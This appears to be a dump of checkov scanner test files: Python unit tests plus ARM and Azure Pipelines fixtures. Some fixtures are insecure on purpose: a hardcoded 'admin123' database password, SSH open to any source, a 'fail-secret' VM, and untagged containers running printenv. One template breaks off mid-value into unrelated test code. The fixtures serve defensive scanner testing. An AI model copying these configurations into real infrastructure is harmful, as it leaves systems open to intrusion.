"14.04-LTS", "16.04-LTS", "18.04-LTS", "20.04-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 14.04-LTS,16.04-LTS,18.04-LTS,20.04-LTS." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "authenticationType": { "type": "string", "defaultValue": "sshPublicKey", "allowedValues": [ "sshPublicKey", "password" ], "metadata": { "description": "Type of authentication to use on the Virtual Machine. SSH key is recommended." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } } }, "variables": { "storageAccountName": "[format('{0}sacustmdata', uniqueString(resourceGroup().id))]", "imagePublisher": "Canonical", "imageOffer": "UbuntuServer", "nicName": "networkInterface1", "vmName": "vm1", "virtualNetworkName": "virtualNetwork1", "publicIPAddressName": "publicIp1", "addressPrefix": "10.0.0.0/16", "subnet1Name": "Subnet-1", "subnet1Prefix": "10.0.0.0/24", "publicIPAddressType": "Dynamic", "storageAccountType": "Standard_LRS", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } }, "networkSecurityGroupName": "default-NSG" }, "resources": [ { "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2023-05-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-22", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "22", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2023-07-01", "name": "fail-secret", "location": "[parameters('location')]", "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "customData": "< None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_AzureSpringCloudConfigWithVnet(self): self.go("AzureSpringCloudConfigWithVnet") def test_AzureMLWorkspacePublicNetwork(self): self.go("AzureMLWorkspacePublicNetwork") def test_SynapseLogMonitoringEnabledForSQLPool(self): self.go("SynapseLogMonitoringEnabledForSQLPool") def test_SynapseSQLPoolHasSecurityAlertPolicy(self): self.go("SynapseSQLPoolHasSecurityAlertPolicy") def test_SynapseSQLPoolHasVulnerabilityAssessment(self): self.go("SynapseSQLPoolHasVulnerabilityAssessment") def test_SynapseWorkspaceHasExtendedAuditLogs(self): self.go("SynapseWorkspaceHasExtendedAuditLogs") def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report(CheckType.ARM) first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record( check_id=check["id"], check_name=check["name"], check_result=check_result, code_block=[(0, "")], file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get("__startline__"), entity.get("__endline__")], resource=f"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}", entity_tags=entity.get("tags", {}), evaluations=None, check_class="", file_abs_path=entity.get(CustomAttributes.FILE_PATH), ) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report ================================================ FILE: tests/arm/graph_builder/test_local_graph.py ================================================ from pathlib import Path from unittest.mock import MagicMock from checkov.arm.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.arm.graph_builder.local_graph import ArmLocalGraph, ArmBlock from checkov.arm.graph_manager import ArmGraphManager from checkov.arm.graph_builder.graph_components.block_types import BlockType from checkov.arm.utils import get_files_definitions from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector EXAMPLES_DIR = Path(__file__).parent.parent / "examples" EXPLICIT_DEPS_DIR = EXAMPLES_DIR / "ExplicitDepsResources" IMPLICIT_DEPS_DIR = EXAMPLES_DIR / "ImplicitDepsResources" def test_graph_explicit_deps(): test_files = [str(EXPLICIT_DEPS_DIR / "subnet.json"), str(EXPLICIT_DEPS_DIR / "storage.json"), str(EXPLICIT_DEPS_DIR / "interface.json")] definitions, _, _ = get_files_definitions(test_files) test_graph = ArmLocalGraph(definitions) test_graph.build_graph() assert len(test_graph.vertices) == 6 assert len(test_graph.edges) == 5 assert len(test_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6 def test_graph_implicit_deps(): test_files = [str(IMPLICIT_DEPS_DIR / "subnet.json"), str(IMPLICIT_DEPS_DIR / "storage.json"), str(IMPLICIT_DEPS_DIR / "interface.json")] definitions, _, _ = get_files_definitions(test_files) test_graph = ArmLocalGraph(definitions) test_graph.build_graph() assert len(test_graph.vertices) == 6 assert len(test_graph.edges) == 4 assert len(test_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6 def test_graph_params_vars(): # given test_file = EXAMPLES_DIR / "container_instance.json" definitions, _, _ = get_files_definitions([str(test_file)]) local_graph = ArmLocalGraph(definitions=definitions) # when local_graph.build_graph(render_variables=False) # then assert len(local_graph.vertices) == 18 assert len(local_graph.edges) == 24 assert len(local_graph.vertices_by_block_type[BlockType.PARAMETER]) == 11 assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 4 assert len(local_graph.vertices_by_block_type[BlockType.VARIABLE]) == 3 def test_graph_from_file_def_and_graph_def(): # compare graph created from definition created by file and graph created by definition created from graph # given test_file = EXAMPLES_DIR / "convert_def_test.json" definitions_from_file, _, _ = get_files_definitions([str(test_file)]) graph_manager = ArmGraphManager(db_connector=RustworkxConnector()) local_graph = graph_manager.build_graph_from_definitions(definitions=definitions_from_file, render_variables=False) definition_from_graph, _= convert_graph_vertices_to_definitions( vertices=local_graph.vertices, root_folder=test_file, ) local_graph_from_new_def = graph_manager.build_graph_from_definitions(definitions=definition_from_graph, render_variables=False) # then assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices) assert len(local_graph.edges) == len(local_graph_from_new_def.edges) assert len(local_graph.vertices_by_block_type[BlockType.PARAMETER]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.PARAMETER]) assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.RESOURCE]) assert len(local_graph.vertices_by_block_type[BlockType.VARIABLE]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.VARIABLE]) def test_update_vertices_names(): graph = ArmLocalGraph(definitions={}) graph.vertices = [ ArmBlock(name="variables(name1)", config={"name": "updatedName1"}, block_type=BlockType.RESOURCE, path='', attributes={}, id='1'), ArmBlock(name="name2", config={"name": "name2"}, block_type=BlockType.RESOURCE, path='', attributes={}, id='2'), ArmBlock(name="name3", config={}, block_type=BlockType.RESOURCE, path='', attributes={}, id='3') ] graph.vertices_by_name = {"variables(name1)": 0, "name2": 1, "name3": 2} graph._update_resource_vertices_names() assert graph.vertices[0].name == "updatedName1" assert "name1" not in graph.vertices_by_name assert graph.vertices_by_name["updatedName1"] == 0 assert graph.vertices[1].name == "name2" assert graph.vertices[2].name == "name3" def test_update_vertices_configs(): graph = ArmLocalGraph(definitions={}) vertex = MagicMock() vertex.changed_attributes = {"attribute1": "value1"} graph.vertices = [vertex] graph.update_vertex_config = MagicMock() graph.update_vertices_configs() graph.update_vertex_config.assert_called_once_with(vertex, ['attribute1']) def test_update_config_attribute_dict(): config = {"container": {"registry": "initialValue"}} ArmLocalGraph.update_config_attribute(config, "container.registry", "newValue") assert config['container']['registry'] == "newValue" def test_adjust_key_exists(): config = {"container.registry": "value"} result = ArmLocalGraph.adjust_key(config, "container", ["container", "registry"]) assert result == ("container.registry", ["container.registry"]) def test_adjust_key_not_exists(): config = {} result = ArmLocalGraph.adjust_key(config, "none", ["none", "existent"]) assert result == ("none.existent", ["none.existent"]) ================================================ FILE: tests/arm/parser/__init__.py ================================================ ================================================ FILE: tests/arm/parser/examples/json/mariadb.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "enabled", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "storageProfile": { "storageMB": "5120" }, "sslEnforcement": "Enabled" } } ] } ================================================ FILE: tests/arm/parser/examples/json/normal.json ================================================ { "id": "0001", "type": "donut", "name": "Cake", "ppu": 0.55, "batters": { "batter": [ { "id": "1001", "type": "Regular" }, { "id": "1002", "type": "Chocolate" }, { "id": "1003", "type": "Blueberry" }, { "id": "1004", "type": "Devil's Food" } ] }, "topping": [ { "id": "5001", "type": "None" }, { "id": "5002", "type": "Glazed" }, { "id": "5005", "type": "Sugar" }, { "id": "5007", "type": "Powdered Sugar" }, { "id": "5006", "type": "Chocolate with Sprinkles" }, { "id": "5003", "type": "Chocolate" }, { "id": "5004", "type": "Maple" } ] } ================================================ FILE: tests/arm/parser/examples/json/with_comments.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ /* multi-line comment */ { "apiVersion": "2018-06-01", "type": "Microsoft.DBforMariaDB/servers", "location": "West Europe", "name": "enabled", "sku": { "name": "B_Gen5_2", "size": "5120" }, "properties": { // single-line comment "version": "10.3", "administratorLogin": "admin", "administratorLoginPassword": "admin123", "storageProfile": { "storageMB": "5120" }, "sslEnforcement": "Enabled" } } ] } ================================================ FILE: tests/arm/parser/test_parser.py ================================================ from pathlib import Path from checkov.arm.parser.parser import load, parse EXAMPLES_DIR = Path(__file__).parent / "examples" def test_load_mariadb(): # given file_path = EXAMPLES_DIR / "json/mariadb.json" # when template, file_lines = load(file_path) # then assert template["$schema"] == "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#" assert template["contentVersion"] == "1.0.0.0" assert len(file_lines) == 25 def test_load_not_arm_file(): # given file_path = EXAMPLES_DIR / "json/normal.json" # when template, file_lines = load(file_path) # then assert template == {} assert file_lines == [] def test_parse_arm_file_with_comments(): # given file_path = EXAMPLES_DIR / "json/with_comments.json" # when template, file_lines = parse(str(file_path)) # then assert template is None assert file_lines is None ================================================ FILE: tests/arm/rendering/__init__.py ================================================ ================================================ FILE: tests/arm/rendering/test_rendering.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "9027093124117826122" } }, "parameters": { "vnetName": { "type": "string", "defaultValue": "aci-vnet", "metadata": { "description": "VNet name" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix" } } }, "variables": { "networkProfileName": "aci-networkProfile", "location": "eth0" }, "resources": [ { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2020-11-01", "name": "[format('{0}/{1}', parameters('vnetName'), variables('networkProfileName'))]", "location": "[variables('location')]", "id": "[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } } } ] } ================================================ FILE: tests/arm/rendering/test_rendering.py ================================================ from pathlib import Path from checkov.arm.graph_builder.local_graph import ArmLocalGraph from checkov.arm.utils import get_files_definitions EXAMPLES_DIR = Path(__file__).parent def test_render_vars(): # given test_file = EXAMPLES_DIR / "test_rendering.json" definitions, _, _ = get_files_definitions([str(test_file)]) local_graph = ArmLocalGraph(definitions=definitions) # when local_graph.build_graph(render_variables=True) # then assert len(local_graph.vertices) == 5 assert len(local_graph.edges) == 5 assert local_graph.vertices[2].attributes['name'] == "[format('{0}/{1}', aci-vnet, aci-networkProfile)]" assert local_graph.vertices[2].attributes['id'] == "[resourceId('Microsoft.Network/networkProfiles', aci-networkProfile)]" assert local_graph.vertices[2].attributes['location'] == "eth0" assert local_graph.vertices[2].attributes['properties.addressSpace.addressPrefixes.0'] == "10.0.0.0/16" assert local_graph.vertices[2].attributes['properties']['addressSpace']['addressPrefixes'][0] == "10.0.0.0/16" ================================================ FILE: tests/arm/runner/__init__.py ================================================ ================================================ FILE: tests/arm/runner/resources/example.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue" : "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku":{ "type": "string", "defaultValue" : "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion" : { "type": "string", "defaultValue" : "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/serverfarms", "apiVersion": "2018-02-01", "name": "[variables('appServicePlanName')]", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]" }, "kind": "linux", "properties":{ "reserved":true } }, { "type": "Microsoft.Web/sites", "apiVersion": "2018-11-01", "name": "[variables('webAppPortalName')]", "location": "[parameters('location')]", "kind": "app", "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]" ], "properties": { "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]", "siteConfig": { "linuxFxVersion": "[parameters('linuxFxVersion')]" } } } ] } ================================================ FILE: tests/arm/runner/resources/invalid.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmName": { "type": "string", "metadata": { "description": "The name of the VM." } }, "resources": [ { "apiVersion": "2019-03-01", "type": "Microsoft.Compute/virtualMachines", "name": "[parameters('vmName')]", "location": "[parameters('region')]", "tags": "[parameters('deployTags')]", "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPassword')]" } } } ] } } ================================================ FILE: tests/arm/runner/resources/no_resource.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "name": "example" }, { "type": "Microsoft.Web/sites" } ] } ================================================ FILE: tests/arm/runner/test_runner.py ================================================ import dis import inspect import os import unittest from collections import defaultdict from pathlib import Path from typing import Dict, Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult, CheckCategories from checkov.runner_filter import RunnerFilter from checkov.arm.runner import Runner from checkov.arm.registry import arm_resource_registry, arm_parameter_registry RESOURCES_DIR = Path(__file__).parent / "resources" class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_checks = arm_resource_registry.checks def test_registry_has_type(self): self.assertEqual(arm_resource_registry.report_type, CheckType.ARM) self.assertEqual(arm_parameter_registry.report_type, CheckType.ARM) def test_runner_honors_enforcement_rules(self): # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['arm'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.ARM: Severities[BcSeverities.OFF]} report = runner.run(root_folder=scan_dir_path, external_checks_dir=None, runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() checks_allowlist = ['CKV_AZURE_18'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_abs_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner() checks_allowlist = ['CKV_AZURE_18'] report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_relative_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "example.json") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner() checks_allowlist = ['CKV_AZURE_18'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_relative_path_with_abs_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "example.json") file_rel_path = os.path.relpath(scan_file_path) file_abs_path = os.path.abspath(scan_file_path) runner = Runner() checks_allowlist = ['CKV_AZURE_18'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path], runner_filter=RunnerFilter(framework='arm', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_wrong_check_imports(self): wrong_imports = ["cloudformation", "dockerfile", "helm", "kubernetes", "serverless", "terraform"] check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: wrong_import = next((import_name for x in wrong_imports if x in import_name), None) if wrong_import: check_imports.append({file.name: wrong_import}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" def test_record_includes_severity(self): custom_check_id = "MY_CUSTOM_CHECK" arm_resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["Microsoft.Web/sites"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.json") report = Runner().run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['arm'], checks=[custom_check_id]) ) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_severity_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" arm_resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["Microsoft.Web/sites"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() checks_allowlist = ['MEDIUM'] check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.json") report = Runner().run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['arm'], checks=checks_allowlist) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_check_filter_include(self): custom_check_id = "MY_CUSTOM_CHECK" arm_resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["Microsoft.Web/sites"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() checks_allowlist = ['MEDIUM'] check.severity = Severities[BcSeverities.HIGH] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.json") report = Runner().run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['arm'], checks=checks_allowlist) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_omit(self): custom_check_id = "MY_CUSTOM_CHECK" arm_resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["Microsoft.Web/sites"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() checks_denylist = ['MEDIUM'] check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.json") report = Runner().run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['arm'], skip_checks=checks_denylist) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_severity_skip_check_filter_include(self): custom_check_id = "MY_CUSTOM_CHECK" arm_resource_registry.checks = defaultdict(list) class AnyFailingCheck(BaseResourceCheck): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.ENCRYPTION], ["Microsoft.Web/sites"] ) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: return CheckResult.FAILED check = AnyFailingCheck() checks_denylist = ['MEDIUM'] check.severity = Severities[BcSeverities.HIGH] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.json") report = Runner().run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['arm'], skip_checks=checks_denylist) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_invalid_file_raises_no_exception(self): # given test_file_path = RESOURCES_DIR / "invalid.json" # when report = Runner().run(files=[str(test_file_path)]) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_no_resource_raises_no_exception(self): # given test_file_path = RESOURCES_DIR / "no_resource.json" # when report = Runner().run(files=[str(test_file_path)]) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def tearDown(self): arm_resource_registry.checks = self.orig_checks if __name__ == '__main__': unittest.main() ================================================ FILE: tests/arm/test_graph_manager.py ================================================ from pathlib import Path import pytest from checkov.arm.graph_manager import ArmGraphManager from checkov.arm.utils import get_files_definitions, ArmElements from checkov.arm.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.util.consts import START_LINE, END_LINE EXAMPLES_DIR = Path(__file__).parent / "examples" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_build_graph_from_definitions(graph_connector): # given test_file = str(EXAMPLES_DIR / "container_instance.json") definitions, _, _ = get_files_definitions([test_file]) graph_manager = ArmGraphManager(db_connector=graph_connector()) # when local_graph = graph_manager.build_graph_from_definitions(definitions=definitions, render_variables=False) # then assert len(local_graph.vertices) == 18 assert len(local_graph.edges) == 24 # resource name will change, when variable rendering is supported container_idx = local_graph.vertices_by_path_and_id[(test_file, "Microsoft.ContainerInstance/containerGroups.[parameters('containerGroupName')]")] container = local_graph.vertices[container_idx] assert container.block_type == BlockType.RESOURCE assert container.id == "Microsoft.ContainerInstance/containerGroups.[parameters('containerGroupName')]" assert container.source == GraphSource.ARM assert container.attributes[START_LINE] == 156 assert container.attributes[END_LINE] == 191 assert container.attributes[CustomAttributes.RESOURCE_TYPE] == "Microsoft.ContainerInstance/containerGroups" assert container.config["type"] == "Microsoft.ContainerInstance/containerGroups" assert container.config["apiVersion"] == "2019-12-01" assert container.config["name"] == "[parameters('containerGroupName')]" assert container.config["location"] == "[parameters('location')]" assert container.config["properties"]["osType"] == "Linux" assert container.config["properties"]["restartPolicy"] == "Always" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_build_graph_from_definitions2(graph_connector): # given test_file = str(EXAMPLES_DIR / "container_instance.json") definitions, _, _ = get_files_definitions([test_file]) graph_manager = ArmGraphManager(db_connector=graph_connector()) # when local_graph = graph_manager.build_graph_from_definitions(definitions=definitions) # then assert len(local_graph.vertices) == 18 assert len(local_graph.edges) == 27 # more edges because we did render_variables and its add the dependsOn edges ================================================ FILE: tests/arm/test_scanner_registry.py ================================================ import unittest from checkov.arm.registry import arm_resource_registry, arm_parameter_registry class TestScannerRegistry(unittest.TestCase): def test_num_of_scanners(self): resource_scanners_counter = 0 for key in list(arm_resource_registry.checks.keys()): resource_scanners_counter += len(arm_resource_registry.checks[key]) self.assertGreater(resource_scanners_counter, 0) parameter_scanners_counter = 0 for key in list(arm_parameter_registry.checks.keys()): parameter_scanners_counter += len(arm_parameter_registry.checks[key]) self.assertGreater(parameter_scanners_counter, 0) def test_non_colliding_check_ids(self): check_id_check_class_map = {} for (resource_type, checks) in arm_resource_registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for (resource_type, checks) in arm_parameter_registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/arm/test_utils.py ================================================ from pathlib import Path from checkov.arm.utils import get_files_definitions, extract_resource_name_from_reference_func def test_get_files_definitions_with_parsing_error(): # given file_path = Path(__file__).parent / "parser/examples/json/with_comments.json" # when definitions, definitions_raw, parsing_errors = get_files_definitions([str(file_path)]) # then assert definitions == {} assert definitions_raw == {} assert len(parsing_errors) == 1 assert parsing_errors[0].endswith("parser/examples/json/with_comments.json") def test_extract_resource_name_from_reference_func(): test_cases = ["reference('storageAccountName')", "reference('myStorage').primaryEndpoints", "reference('myStorage', '2022-09-01', 'Full').location", "reference(resourceId('storageResourceGroup', 'Microsoft.Storage/storageAccounts', " "'storageAccountName')), '2022-09-01')", "reference(resourceId('Microsoft.Network/publicIPAddresses', 'ipAddressName'))"] expected = ["storageAccountName", "myStorage", "myStorage", "storageAccountName", "ipAddressName"] for i, test_case in enumerate(test_cases): assert extract_resource_name_from_reference_func(test_case) == expected[i] ================================================ FILE: tests/azure_pipelines/__init__.py ================================================ ================================================ FILE: tests/azure_pipelines/checks/__init__.py ================================================ ================================================ FILE: tests/azure_pipelines/checks/jobs/__init__.py ================================================ ================================================ FILE: tests/azure_pipelines/checks/jobs/example_ContainerDigest/azure-pipelines.yml ================================================ trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: AzureDevOps/AzureDevOps stages: - stage: Example displayName: ExampleDisplayName jobs: - job: FailNoTag pool: vmImage: 'ubuntu-18.04' container: ubuntu steps: - script: printenv displayName: printenvDisplayName - job: PassDigest displayName: PassDigestDisplayName pool: vmImage: 'ubuntu-18.04' container: ubuntu@sha256:a0a45bd8c6c4acd6967396366f01f2a68f73406327285edc5b7b07cb1cf073db steps: - script: printenv name: printenvName jobs: - job: FailTag pool: vmImage: 'ubuntu-18.04' container: ubuntu:20.04 steps: - script: printenv ================================================ FILE: tests/azure_pipelines/checks/jobs/example_ContainerLatestTag/azure-pipelines.yml ================================================ trigger: - master resources: repositories: - repository: AzureDevOps type: git endpoint: AzureDevOps name: 